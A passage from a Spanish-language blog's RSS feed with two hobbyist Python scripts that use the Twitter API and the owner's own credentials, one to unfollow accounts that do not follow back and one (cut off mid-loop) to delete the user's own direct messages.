class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;tmp_user_objs&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;y&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="s"&gt;&amp;#39;default_profile&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
       &lt;span class="n"&gt;user_objs&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;user_objs&lt;/span&gt; &lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;tmp_user_objs&lt;/span&gt;
       &lt;span class="n"&gt;user_id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;
   &lt;span class="n"&gt;payload&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s"&gt;&amp;#39;user_id&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;user_id&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
   &lt;span class="n"&gt;r&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;api_url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;stream&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;False&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;auth&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;auth&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;params&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
   &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s"&gt;&amp;#39;x-rate-limit-remaining&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s"&gt;&amp;#39;x-rate-limit-remaining&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;0&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
     &lt;span class="k"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;We reached rate limit for &amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;api_url&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
     &lt;span class="k"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Try again at&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;x-rate-limit-reset&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
     &lt;span class="n"&gt;quit&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
   &lt;span class="n"&gt;tmp_user_objs&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;loads&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;content&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
   &lt;span class="n"&gt;user_objs&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;user_objs&lt;/span&gt; &lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;tmp_user_objs&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;unfollow_by_id&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;user_id&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
  &lt;span class="n"&gt;api_url&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;#39;https://api.twitter.com/1.1/friendships/destroy.json&amp;#39;&lt;/span&gt;
  &lt;span class="n"&gt;payload&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s"&gt;&amp;#39;user_id&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;user_id&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="n"&gt;auth&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;OAuth1&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;consumer_key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;consumer_secret&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;access_token_key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;access_token_secret&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;r&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;api_url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;stream&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;False&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;auth&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;auth&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;params&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;



&lt;span class="n"&gt;followers&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;get_follower_ids&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="k"&gt;print&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;Followers: &amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;followers&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;following&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;get_friends_ids&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="k"&gt;print&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;Following: &amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;following&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;



&lt;span class="n"&gt;unfollower_ids&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;set&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;following&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="nb"&gt;set&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;followers&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;print&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;unfollower ids: &amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;unfollower_ids&lt;/span&gt; &lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;unfollower_ids&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;


&lt;span class="n"&gt;get_unfollowers_info&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;unfollower_ids&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;print&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;About to unfollow: &amp;quot;&lt;/span&gt; &lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;unfollower_ids&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;users.&amp;quot;&lt;/span&gt;
&lt;span class="n"&gt;sleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;user_id&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;unfollower_ids&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
  &lt;span class="k"&gt;print&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;Unfollowing &amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;user_id&lt;/span&gt;
  &lt;span class="n"&gt;unfollow_by_id&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;user_id&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;En este script a diferencia de los anteriores que he hecho no use el módulo python-twitter y como ven intento trabajar con el API y su rate-limit
En mi caso al ejecutarlo deje de seguir a algunas cuentas de comedia, noticias y cuentas interesantes que enriquecían mi timeline.&lt;/p&gt;
&lt;p&gt;Si el tiempo me lo permite, en la próxima versión creo que voy a agregar esos usuarios a una lista privada antes de dejarlos de seguir.
He trabajado en otros scripts privados en calcular la importancia de una cuenta en base a la cantidad de seguidores, cantidad de personas que esta sigue, cantidad de tweets, edad de la cuenta y otros factores que tal vez incorpore en un futuro.&lt;/p&gt;
&lt;p&gt;Como siempre en todos mis publicaciones que tiene que ver con Python, les agradecería mucho si me dan consejos de como mejorar este script o la lógica del mismo, Incluso pull requests al repo &lt;a class="reference external" href="https://github.com/orvtech/Python-tools-for-twitter/blob/master/unfollow-unfollowers.py"&gt;github.com/orvtech/Python-tools-for-twitter/blob/master/unfollow-unfollowers.py&lt;/a&gt;.&lt;/p&gt;
</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">orvtech</dc:creator><pubDate>Fri, 26 Dec 2014 10:20:00 -0800</pubDate><guid>tag:orvtech.com,2014-12-26:dejar-seguir-quienes-siguen-twitter-python.html</guid><category>python</category><category>Scripts</category><category>Twitter</category></item><item><title>Eliminando todos los mensajes directos de Twitter con Python</title><link>http://orvtech.com/eliminar-twitter-dms-python.html</link><description>&lt;p&gt;Sigo en mi travesía por aprender Python y que mejor forma que solucionar problemas en funciona a la privacidad.&lt;/p&gt;
&lt;p&gt;Varias personas me comentaron lo tedioso que es eliminar mensajes privados en Twitter así que decidi hacer una herramienta que me permita automatizar todo esto.&lt;/p&gt;
&lt;p&gt;Lo primero es crear una app en twitter visitando &lt;a class="reference external" href="https://apps.twitter.com"&gt;apps.twitter.com&lt;/a&gt; y otorgarle permisos de lectura, escritura y DMs. Allí mismo pueden generar el &lt;tt class="docutils literal"&gt;consumer_key&lt;/tt&gt;, &lt;tt class="docutils literal"&gt;consumer_secret&lt;/tt&gt;, &lt;tt class="docutils literal"&gt;access_token_key&lt;/tt&gt; y el &lt;tt class="docutils literal"&gt;access_token_secret&lt;/tt&gt;.&lt;/p&gt;
&lt;p&gt;El script no es nada complejo y de hecho hay oportunidades para mejorarlo, aqui se los dejo:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span class="c"&gt;# https://github.com/orvtech/Python-tools-for-twitter&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;json&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;requests&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;requests_oauthlib&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;OAuth1&lt;/span&gt;


&lt;span class="n"&gt;consumer_key&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;#39;&amp;lt;YOUR CONSUMER KEY HERE&amp;gt;&amp;#39;&lt;/span&gt;
&lt;span class="n"&gt;consumer_secret&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;#39;&amp;lt;YOUR CONSUMER SECRET HERE&amp;gt;&amp;#39;&lt;/span&gt;
&lt;span class="n"&gt;access_token_key&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;#39;&amp;lt;YOUR ACCESS TOKEN HERE&amp;gt;&amp;#39;&lt;/span&gt;
&lt;span class="n"&gt;access_token_secret&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;#39;&amp;lt;YOUR ACCESS TOKEN SECRET HERE&amp;gt;&amp;#39;&lt;/span&gt;


&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;get_messages_ids&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
  &lt;span class="n"&gt;api_url&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;#39;https://api.twitter.com/1.1/direct_messages.json&amp;#39;&lt;/span&gt;
  &lt;span class="n"&gt;payload&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s"&gt;&amp;#39;count&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s"&gt;&amp;#39;200&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;#39;cursor&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s"&gt;&amp;#39;-1&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;#39;skip_status&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s"&gt;&amp;#39;1&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="n"&gt;auth&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;OAuth1&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;consumer_key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;consumer_secret&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;access_token_key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;access_token_secret&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;r&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;api_url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;stream&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;False&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;auth&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;auth&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;params&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s"&gt;&amp;#39;x-rate-limit-remaining&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s"&gt;&amp;#39;x-rate-limit-remaining&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;0&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="k"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;We reached rate limit for &amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;api_url&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Try again at&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;x-rate-limit-reset&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
    &lt;span class="n"&gt;quit&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
  &lt;span class="n"&gt;DMs&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;loads&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;content&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;message_ids&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;
  &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;DMs&lt;/span&gt;&lt;span class="p"&gt;)):&lt;/span&gt;
    &lt;span class="n"&gt;current_ids&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;DMs&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="s"&gt;&amp;#39;id&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="n"&gt;message_ids&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;current_ids&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;api_url&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;#39;https://api.twitter.com/1.1/direct_messages/sent.json&amp;#39;&lt;/span&gt;
  &lt;span class="n"&gt;payload&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s"&gt;&amp;#39;count&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s"&gt;&amp;#39;200&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="n"&gt;r&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;api_url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;stream&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;False&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;auth&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;auth&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;params&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s"&gt;&amp;#39;x-rate-limit-remaining&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s"&gt;&amp;#39;x-rate-limit-remaining&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;0&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="k"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;We reached rate limit for &amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;api_url&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Try again at&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;x-rate-limit-reset&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
    &lt;span class="n"&gt;quit&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
  &lt;span class="n"&gt;DMs&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;loads&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;content&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;DMs&lt;/span&gt;&lt;span class="p"&gt;)):&lt;/span&gt;
    &lt;span class="n"&gt;current_ids&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;DMs&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="s"&gt;&amp;#39;id&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="n"&gt;message_ids&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;current_ids&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;message_ids&lt;/span&gt;


&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;nuke_messages&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;DMs&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
  &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;DMs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;api_url&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;#39;https://api.twitter.com/1.1/direct_messages/destroy.json&amp;#39;&lt;/span&gt;
    &lt;span class="n"&gt;payload&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s"&gt;&amp;#39;id&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="n"&gt;auth&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;OAuth1&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;consumer_key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;consumer_secret&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;access_token_key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;access_token_secret&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;r&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;api_url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;stream&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;False&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;auth&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;auth&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;params&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;


&lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
